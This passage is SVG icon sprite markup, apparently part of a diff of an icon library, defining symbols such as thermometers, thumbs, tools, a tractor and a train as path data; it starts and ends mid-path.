24-24V56c0-13.255-10.745-24-24-24zm80 448H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm-24-424v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24zm24 264H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24z"></path> + </symbol> + <symbol id="theater-masks" viewBox="0 0 640 512"> + <path d="M206.86 245.15c-35.88 10.45-59.95 41.2-57.53 74.1 11.4-12.72 28.81-23.7 49.9-30.92l7.63-43.18zM95.81 295L64.08 115.49c-.29-1.62.28-2.62.24-2.65 57.76-32.06 123.12-49.01 189.01-49.01 1.61 0 3.23.17 4.85.19 13.95-13.47 31.73-22.83 51.59-26 18.89-3.02 38.05-4.55 57.18-5.32-9.99-13.95-24.48-24.23-41.77-27C301.27 1.89 277.24 0 253.32 0 176.66 0 101.02 19.42 33.2 57.06 9.03 70.48-3.92 98.48 1.05 126.58l31.73 179.51c14.23 80.52 136.33 142.08 204.45 142.08 3.59 0 6.75-.46 10.01-.8-13.52-17.08-28.94-40.48-39.5-67.58-47.61-12.98-106.06-51.62-111.93-84.79zm97.55-137.46c-.73-4.12-2.23-7.87-4.07-11.4-8.25 8.91-20.67 15.75-35.32 18.32-14.65 2.58-28.67.4-39.48-5.17-.52 3.94-.64 7.98.09 12.1 3.84 21.7 24.58 36.19 46.34 32.37 21.75-3.82 36.28-24.52 32.44-46.22zM606.8 120.9c-88.98-49.38-191.43-67.41-291.98-51.35-27.31 4.36-49.08 26.26-54.04 54.36l-31.73 179.51c-15.39 87.05 95.28 196.27 158.31 207.35 63.03 11.09 204.47-53.79 219.86-140.84l31.73-179.51c4.97-28.11-7.98-56.11-32.15-69.52zm-273.24 96.8c3.84-21.7 24.58-36.19 46.34-32.36 21.76 3.83 36.28 24.52 32.45 46.22-.73 4.12-2.23 7.87-4.07 11.4-8.25-8.91-20.67-15.75-35.32-18.32-14.65-2.58-28.67-.4-39.48 5.17-.53-3.95-.65-7.99.08-12.11zm70.47 198.76c-55.68-9.79-93.52-59.27-89.04-112.9 20.6 25.54 56.21 46.17 99.49 53.78 43.28 7.61 83.82.37 111.93-16.6-14.18 51.94-66.71 85.51-122.38 75.72zm130.3-151.34c-8.25-8.91-20.68-15.75-35.33-18.32-14.65-2.58-28.67-.4-39.48 5.17-.52-3.94-.64-7.98.09-12.1 3.84-21.7 24.58-36.19 46.34-32.37 21.75 3.83 36.28 24.52 32.45 46.22-.73 4.13-2.23 7.88-4.07 11.4z"></path> + </symbol> + <symbol id="thermometer" viewBox="0 0 512 512"> + <path d="M476.8 20.4c-37.5-30.7-95.5-26.3-131.9 10.2l-45.7 46 50.5 50.5c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.4-50.5-45.1 45.4 50.3 50.4c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L209 167.4l-45.1 45.4L214 263c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-50.1-50.2L96 281.1V382L7 471c-9.4 9.4-9.4 24.6 0 33.9 9.4 9.4 24.6 9.4 33.9 0l89-89h99.9L484 162.6c34.9-34.9 42.2-101.5-7.2-142.2z"></path> + </symbol> + <symbol id="thermometer-empty" viewBox="0 0 256 512"> + <path d="M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-35.346 28.654-64 64-64s64 28.654 64 64zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"></path> + </symbol> + <symbol id="thermometer-full" viewBox="0 0 256 512"> + <path d="M224 96c0-53.019-42.981-96-96-96S32 42.981 32 96v203.347C12.225 321.756.166 351.136.002 383.333c-.359 70.303 56.787 128.176 127.089 128.664.299.002.61.003.909.003 70.698 0 128-57.304 128-128 0-32.459-12.088-62.09-32-84.653V96zm-96 368l-.576-.002c-43.86-.304-79.647-36.544-79.423-80.42.173-33.98 19.266-51.652 31.999-66.08V96c0-26.467 21.533-48 48-48s48 21.533 48 48v221.498c12.63 14.312 32 32.164 32 66.502 0 44.112-35.888 80-80 80zm64-80c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V96c0-17.673 14.327-32 32-32s32 14.327 32 32v232.583c19.124 11.068 32 31.732 32 55.417z"></path> + </symbol> + <symbol id="thermometer-half" viewBox="0 0 256 512"> + <path d="M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V224c0-17.673 14.327-32 32-32s32 14.327 32 32v104.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"></path> + </symbol> + <symbol id="thermometer-quarter" viewBox="0 0 256 512"> + <path d="M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V288c0-17.673 14.327-32 32-32s32 14.327 32 32v40.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"></path> + </symbol> + <symbol id="thermometer-three-quarters" viewBox="0 0 256 512"> + <path d="M192 384c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64 0-23.685 12.876-44.349 32-55.417V160c0-17.673 14.327-32 32-32s32 14.327 32 32v168.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"></path> + </symbol> + <symbol id="thumbs-down" viewBox="0 0 512 512"> + <path d="M0 56v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56zm40 200c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24zm272 256c-20.183 0-29.485-39.293-33.931-57.795-5.206-21.666-10.589-44.07-25.393-58.902-32.469-32.524-49.503-73.967-89.117-113.111a11.98 11.98 0 0 1-3.558-8.521V59.901c0-6.541 5.243-11.878 11.783-11.998 15.831-.29 36.694-9.079 52.651-16.178C256.189 17.598 295.709.017 343.995 0h2.844c42.777 0 93.363.413 113.774 29.737 8.392 12.057 10.446 27.034 6.148 44.632 16.312 17.053 25.063 48.863 16.382 74.757 17.544 23.432 19.143 56.132 9.308 79.469l.11.11c11.893 11.949 19.523 31.259 19.439 49.197-.156 30.352-26.157 58.098-59.553 58.098H350.723C358.03 364.34 384 388.132 384 430.548 384 504 336 512 312 512z"></path> + </symbol> + <symbol id="thumbs-up" viewBox="0 0 512 512"> + <path d="M104 224H24c-13.255 0-24 10.745-24 24v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V248c0-13.255-10.745-24-24-24zM64 472c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zM384 81.452c0 42.416-25.97 66.208-33.277 94.548h101.723c33.397 0 59.397 27.746 59.553 58.098.084 17.938-7.546 37.249-19.439 49.197l-.11.11c9.836 23.337 8.237 56.037-9.308 79.469 8.681 25.895-.069 57.704-16.382 74.757 4.298 17.598 2.244 32.575-6.148 44.632C440.202 511.587 389.616 512 346.839 512l-2.845-.001c-48.287-.017-87.806-17.598-119.56-31.725-15.957-7.099-36.821-15.887-52.651-16.178-6.54-.12-11.783-5.457-11.783-11.998v-213.77c0-3.2 1.282-6.271 3.558-8.521 39.614-39.144 56.648-80.587 89.117-113.111 14.804-14.832 20.188-37.236 25.393-58.902C282.515 39.293 291.817 0 312 0c24 0 72 8 72 81.452z"></path> + </symbol> + <symbol id="thumbtack" viewBox="0 0 384 512"> + <path d="M298.028 214.267L285.793 96H328c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v48c0 13.255 10.745 24 24 24h42.207L85.972 214.267C37.465 236.82 0 277.261 0 328c0 13.255 10.745 24 24 24h136v104.007c0 1.242.289 2.467.845 3.578l24 48c2.941 5.882 11.364 5.893 14.311 0l24-48a8.008 8.008 0 0 0 .845-3.578V352h136c13.255 0 24-10.745 24-24-.001-51.183-37.983-91.42-85.973-113.733z"></path> + </symbol> + <symbol id="ticket-alt" viewBox="0 0 576 512"> + <path d="M128 160h320v192H128V160zm400 96c0 26.51 21.49 48 48 48v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c26.51 0 48-21.49 48-48s-21.49-48-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v96c-26.51 0-48 21.49-48 48zm-48-104c0-13.255-10.745-24-24-24H120c-13.255 0-24 10.745-24 24v208c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V152z"></path> + </symbol> + <symbol id="times" viewBox="0 0 352 512"> + <path d="M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z"></path> + </symbol> + <symbol id="times-circle" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm121.6 313.1c4.7 4.7 4.7 12.3 0 17L338 377.6c-4.7 4.7-12.3 4.7-17 0L256 312l-65.1 65.6c-4.7 4.7-12.3 4.7-17 0L134.4 338c-4.7-4.7-4.7-12.3 0-17l65.6-65-65.6-65.1c-4.7-4.7-4.7-12.3 0-17l39.6-39.6c4.7-4.7 12.3-4.7 17 0l65 65.7 65.1-65.6c4.7-4.7 12.3-4.7 17 0l39.6 39.6c4.7 4.7 4.7 12.3 0 17L312 256l65.6 65.1z"></path> + </symbol> + <symbol id="tint" viewBox="0 0 352 512"> + <path d="M205.22 22.09c-7.94-28.78-49.44-30.12-58.44 0C100.01 179.85 0 222.72 0 333.91 0 432.35 78.72 512 176 512s176-79.65 176-178.09c0-111.75-99.79-153.34-146.78-311.82zM176 448c-61.75 0-112-50.25-112-112 0-8.84 7.16-16 16-16s16 7.16 16 16c0 44.11 35.89 80 80 80 8.84 0 16 7.16 16 16s-7.16 16-16 16z"></path> + </symbol> + <symbol id="tint-slash" viewBox="0 0 640 512"> + <path d="M633.82 458.1L494.97 350.78c.52-5.57 1.03-11.16 1.03-16.87 0-111.76-99.79-153.34-146.78-311.82-7.94-28.78-49.44-30.12-58.44 0-15.52 52.34-36.87 91.96-58.49 125.68L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM144 333.91C144 432.35 222.72 512 320 512c44.71 0 85.37-16.96 116.4-44.7L162.72 255.78c-11.41 23.5-18.72 48.35-18.72 78.13z"></path> + </symbol> + <symbol id="tired" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 288c51.9 0 115.3 43.8 123.2 106.7 1.7 13.6-8 24.6-17.7 20.4-25.9-11.1-64.4-17.4-105.5-17.4s-79.6 6.3-105.5 17.4c-9.8 4.2-19.4-7-17.7-20.4C132.7 331.8 196.1 288 248 288z"></path> + </symbol> + <symbol id="toggle-off" viewBox="0 0 576 512"> + <path d="M384 64H192C85.961 64 0 149.961 0 256s85.961 192 192 192h192c106.039 0 192-85.961 192-192S490.039 64 384 64zM64 256c0-70.741 57.249-128 128-128 70.741 0 128 57.249 128 128 0 70.741-57.249 128-128 128-70.741 0-128-57.249-128-128zm320 128h-48.905c65.217-72.858 65.236-183.12 0-256H384c70.741 0 128 57.249 128 128 0 70.74-57.249 128-128 128z"></path> + </symbol> + <symbol id="toggle-on" viewBox="0 0 576 512"> + <path d="M384 64H192C86 64 0 150 0 256s86 192 192 192h192c106 0 192-86 192-192S490 64 384 64zm0 320c-70.8 0-128-57.3-128-128 0-70.8 57.3-128 128-128 70.8 0 128 57.3 128 128 0 70.8-57.3 128-128 128z"></path> + </symbol> + <symbol id="toilet" viewBox="0 0 384 512"> + <path d="M368 48c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v16c0 8.8 7.2 16 16 16h16v156.7C11.8 214.8 0 226.9 0 240c0 67.2 34.6 126.2 86.8 160.5l-21.4 70.2C59.1 491.2 74.5 512 96 512h192c21.5 0 36.9-20.8 30.6-41.3l-21.4-70.2C349.4 366.2 384 307.2 384 240c0-13.1-11.8-25.2-32-35.3V48h16zM80 72c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H88c-4.4 0-8-3.6-8-8V72zm112 200c-77.1 0-139.6-14.3-139.6-32s62.5-32 139.6-32 139.6 14.3 139.6 32-62.5 32-139.6 32z"></path> + </symbol> + <symbol id="toilet-paper" viewBox="0 0 576 512"> + <path d="M128 0C74.98 0 32 85.96 32 192v172.07c0 41.12-9.8 62.77-31.17 126.87C-2.62 501.3 5.09 512 16.01 512h280.92c13.77 0 26-8.81 30.36-21.88 12.83-38.48 24.71-72.4 24.71-126.05V192c0-83.6 23.67-153.52 60.44-192H128zM96 224c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zM480 0c-53.02 0-96 85.96-96 192s42.98 192 96 192 96-85.96 96-192S533.02 0 480 0zm0 256c-17.67 0-32-28.65-32-64s14.33-64 32-64 32 28.65 32 64-14.33 64-32 64z"></path> + </symbol> + <symbol id="toilet-paper-slash" viewBox="0 0 640 512"> + <path d="M64,192V364.13c0,41.12-9.75,62.75-31.12,126.87A16,16,0,0,0,48,512H328.86a31.87,31.87,0,0,0,30.38-21.87c9.31-27.83,18-53.35,22.18-85.55l-316-244.25C64.53,170.66,64,181.19,64,192ZM633.82,458.09l-102-78.81C575.28,360.91,608,284.32,608,192,608,86,565,0,512,0s-96,86-96,192c0,42,7,80.4,18.43,112L384,265V192c0-83.62,23.63-153.5,60.5-192H160c-23.33,0-44.63,16.83-61.26,44.53L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09ZM512,256c-17.63,0-32-28.62-32-64s14.37-64,32-64,32,28.63,32,64S529.62,256,512,256Z"></path> + </symbol> + <symbol id="toolbox" viewBox="0 0 512 512"> + <path d="M502.63 214.63l-45.25-45.25c-6-6-14.14-9.37-22.63-9.37H384V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v80H77.25c-8.49 0-16.62 3.37-22.63 9.37L9.37 214.63c-6 6-9.37 14.14-9.37 22.63V320h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-82.75c0-8.48-3.37-16.62-9.37-22.62zM320 160H192V96h128v64zm64 208c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H192v16c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H0v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96H384v16z"></path> + </symbol> + <symbol id="tools" viewBox="0 0 512 512"> + <path d="M501.1 395.7L384 278.6c-23.1-23.1-57.6-27.6-85.4-13.9L192 158.1V96L64 0 0 64l96 128h62.1l106.6 106.6c-13.6 27.8-9.2 62.3 13.9 85.4l117.1 117.1c14.6 14.6 38.2 14.6 52.7 0l52.7-52.7c14.5-14.6 14.5-38.2 0-52.7zM331.7 225c28.3 0 54.9 11 74.9 31l19.4 19.4c15.8-6.9 30.8-16.5 43.8-29.5 37.1-37.1 49.7-89.3 37.9-136.7-2.2-9-13.5-12.1-20.1-5.5l-74.4 74.4-67.9-11.3L334 98.9l74.4-74.4c6.6-6.6 3.4-17.9-5.7-20.2-47.4-11.7-99.6.9-136.6 37.9-28.5 28.5-41.9 66.1-41.2 103.6l82.1 82.1c8.1-1.9 16.5-2.9 24.7-2.9zm-103.9 82l-56.7-56.7L18.7 402.8c-25 25-25 65.5 0 90.5s65.5 25 90.5 0l123.6-123.6c-7.6-19.9-9.9-41.6-5-62.7zM64 472c-13.2 0-24-10.8-24-24 0-13.3 10.7-24 24-24s24 10.7 24 24c0 13.2-10.7 24-24 24z"></path> + </symbol> + <symbol id="tooth" viewBox="0 0 448 512"> + <path d="M443.98 96.25c-11.01-45.22-47.11-82.06-92.01-93.72-32.19-8.36-63 5.1-89.14 24.33-3.25 2.39-6.96 3.73-10.5 5.48l28.32 18.21c7.42 4.77 9.58 14.67 4.8 22.11-4.46 6.95-14.27 9.86-22.11 4.8L162.83 12.84c-20.7-10.85-43.38-16.4-66.81-10.31-44.9 11.67-81 48.5-92.01 93.72-10.13 41.62-.42 80.81 21.5 110.43 23.36 31.57 32.68 68.66 36.29 107.35 4.4 47.16 10.33 94.16 20.94 140.32l7.8 33.95c3.19 13.87 15.49 23.7 29.67 23.7 13.97 0 26.15-9.55 29.54-23.16l34.47-138.42c4.56-18.32 20.96-31.16 39.76-31.16s35.2 12.85 39.76 31.16l34.47 138.42c3.39 13.61 15.57 23.16 29.54 23.16 14.18 0 26.48-9.83 29.67-23.7l7.8-33.95c10.61-46.15 16.53-93.16 20.94-140.32 3.61-38.7 12.93-75.78 36.29-107.35 21.95-29.61 31.66-68.8 21.53-110.43z"></path> + </symbol> + <symbol id="torah" viewBox="0 0 640 512"> + <path d="M320.05 366.48l17.72-29.64h-35.46zm99.21-166H382.4l18.46 30.82zM48 0C21.49 0 0 14.33 0 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32C96 14.33 74.51 0 48 0zm172.74 311.5h36.85l-18.46-30.82zm161.71 0h36.86l-18.45-30.8zM128 464h384V48H128zm66.77-278.13a21.22 21.22 0 0 1 18.48-10.71h59.45l29.13-48.71a21.13 21.13 0 0 1 18.22-10.37A20.76 20.76 0 0 1 338 126.29l29.25 48.86h59.52a21.12 21.12 0 0 1 18.1 32L415.63 256 445 305a20.69 20.69 0 0 1 .24 21.12 21.25 21.25 0 0 1-18.48 10.72h-59.47l-29.13 48.7a21.13 21.13 0 0 1-18.16 10.4 20.79 20.79 0 0 1-18-10.22l-29.25-48.88h-59.5a21.11 21.11 0 0 1-18.1-32L224.36 256 195 207a20.7 20.7 0 0 1-.23-21.13zM592 0c-26.51 0-48 14.33-48 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32c0-17.67-21.49-32-48-32zM320 145.53l-17.78 29.62h35.46zm-62.45 55h-36.81l18.44 30.8zm29.58 111h65.79L386.09 256l-33.23-55.52h-65.79L253.9 256z"></path> + </symbol> + <symbol id="torii-gate" viewBox="0 0 512 512"> + <path d="M376.45 32h-240.9A303.17 303.17 0 0 1 0 0v96c0 17.67 14.33 32 32 32h32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h256v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h48c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-48v-64h32c17.67 0 32-14.33 32-32V0a303.17 303.17 0 0 1-135.55 32zM128 128h96v64h-96v-64zm256 64h-96v-64h96v64z"></path> + </symbol> + <symbol id="tractor" viewBox="0 0 640 512"> + <path d="M528 336c-48.6 0-88 39.4-88 88s39.4 88 88 88 88-39.4 88-88-39.4-88-88-88zm0 112c-13.23 0-24-10.77-24-24s10.77-24 24-24 24 10.77 24 24-10.77 24-24 24zm80-288h-64v-40.2c0-14.12 4.7-27.76 13.15-38.84 4.42-5.8 3.55-14.06-1.32-19.49L534.2 37.3c-6.66-7.45-18.32-6.92-24.7.78C490.58 60.9 480 89.81 480 119.8V160H377.67L321.58 29.14A47.914 47.914 0 0 0 277.45 0H144c-26.47 0-48 21.53-48 48v146.52c-8.63-6.73-20.96-6.46-28.89 1.47L36 227.1c-8.59 8.59-8.59 22.52 0 31.11l5.06 5.06c-4.99 9.26-8.96 18.82-11.91 28.72H22c-12.15 0-22 9.85-22 22v44c0 12.15 9.85 22 22 22h7.14c2.96 9.91 6.92 19.46 11.91 28.73l-5.06 5.06c-8.59 8.59-8.59 22.52 0 31.11L67.1 476c8.59 8.59 22.52 8.59 31.11 0l5.06-5.06c9.26 4.99 18.82 8.96 28.72 11.91V490c0 12.15 9.85 22 22 22h44c12.15 0 22-9.85 22-22v-7.14c9.9-2.95 19.46-6.92 28.72-11.91l5.06 5.06c8.59 8.59 22.52 8.59 31.11 0l31.11-31.11c8.59-8.59 8.59-22.52 0-31.11l-5.06-5.06c4.99-9.26 8.96-18.82 11.91-28.72H330c12.15 0 22-9.85 22-22v-6h80.54c21.91-28.99 56.32-48 95.46-48 18.64 0 36.07 4.61 51.8 12.2l50.82-50.82c6-6 9.37-14.14 9.37-22.63V192c.01-17.67-14.32-32-31.99-32zM176 416c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm22-256h-38V64h106.89l41.15 96H198z"></path> + </symbol> + <symbol id="trademark" viewBox="0 0 640 512"> + <path d="M260.6 96H12c-6.6 0-12 5.4-12 12v43.1c0 6.6 5.4 12 12 12h85.1V404c0 6.6 5.4 12 12 12h54.3c6.6 0 12-5.4 12-12V163.1h85.1c6.6 0 12-5.4 12-12V108c.1-6.6-5.3-12-11.9-12zM640 403l-24-296c-.5-6.2-5.7-11-12-11h-65.4c-5.1 0-9.7 3.3-11.3 8.1l-43.8 127.1c-7.2 20.6-16.1 52.8-16.1 52.8h-.9s-8.9-32.2-16.1-52.8l-43.8-127.1c-1.7-4.8-6.2-8.1-11.3-8.1h-65.4c-6.2 0-11.4 4.8-12 11l-24.4 296c-.6 7 4.9 13 12 13H360c6.3 0 11.5-4.9 12-11.2l9.1-132.9c1.8-24.2 0-53.7 0-53.7h.9s10.7 33.6 17.9 53.7l30.7 84.7c1.7 4.7 6.2 7.9 11.3 7.9h50.3c5.1 0 9.6-3.2 11.3-7.9l30.7-84.7c7.2-20.1 17.9-53.7 17.9-53.7h.9s-1.8 29.5 0 53.7l9.1 132.9c.4 6.3 5.7 11.2 12 11.2H628c7 0 12.5-6 12-13z"></path> + </symbol> + <symbol id="traffic-light" viewBox="0 0 384 512"> + <path d="M384 192h-64v-37.88c37.2-13.22 64-48.38 64-90.12h-64V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v32H0c0 41.74 26.8 76.9 64 90.12V192H0c0 41.74 26.8 76.9 64 90.12V320H0c0 42.84 28.25 78.69 66.99 91.05C79.42 468.72 130.6 512 192 512s112.58-43.28 125.01-100.95C355.75 398.69 384 362.84 384 320h-64v-37.88c37.2-13.22 64-48.38 64-90.12zM192 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z"></path> + </symbol> + <symbol id="trailer" viewBox="0 0 640 512"> + <path d="M624,320H544V80a16,16,0,0,0-16-16H16A16,16,0,0,0,0,80V368a16,16,0,0,0,16,16H65.61c7.83-54.21,54-96,110.39-96s102.56,41.79,110.39,96H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM96,243.68a176.29,176.29,0,0,0-32,20.71V136a8,8,0,0,1,8-8H88a8,8,0,0,1,8,8Zm96-18.54c-5.31-.49-10.57-1.14-16-1.14s-10.69.65-16,1.14V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,39.25a176.29,176.29,0,0,0-32-20.71V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8ZM384,320H352V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,0H448V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm-304,0a80,80,0,1,0,80,80A80,80,0,0,0,176,320Zm0,112a32,32,0,1,1,32-32A32,32,0,0,1,176,432Z"></path> + </symbol> + <symbol id="train" viewBox="0 0 448 512"> + <path d="M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zm-48 136V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24zm-176 64c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56z"></path> + </symbol> + <symbol id="tram" viewBox="0 0 512 512"> + <path d="M288 64c17.7 0 32-14.3 32-32S305.7 0 288 0s-32 14.3-32 32 14.3 32 32 32zm223.5-12.1c-2.3-8.6-11-13.6-19.6-11.3l-480 128c-8.5 2.3-13.6 11-11.3 19.6C2.5 195.3 8.9 200 16 200c1.4 0 2.8-.2 4.1-.5L240 140.8V224H64c-17.7 0-32 14.3-32 32v224c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H272v-91.7l228.1-60.8c8.6-2.3 13.6-11.1 11.4-19.6zM176 384H80v-96h96v96zm160-96h96v96h-96v-96zm-32 0v96h-96v-96h96zM192 96c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"></path> + </symbol> + <symbol id="transgender" viewBox="0 0 384 512"> + <path d="M372 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C198.5 104.1 172.2 96 144 96 64.5 96 0 160.5 0 240c0 68.5 47.9 125.9 112 140.4V408H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM144 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"></path> + </symbol> + <symbol id="transgender-alt" viewBox="0 0 480 512"> + <path d="M468 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C294.5 104.1 268.2 96 240 96c-28.2 0-54.5 8.1-76.7 22.1l-16.5-16.5 19.8-19.8c4.7-4.7 4.7-12.3 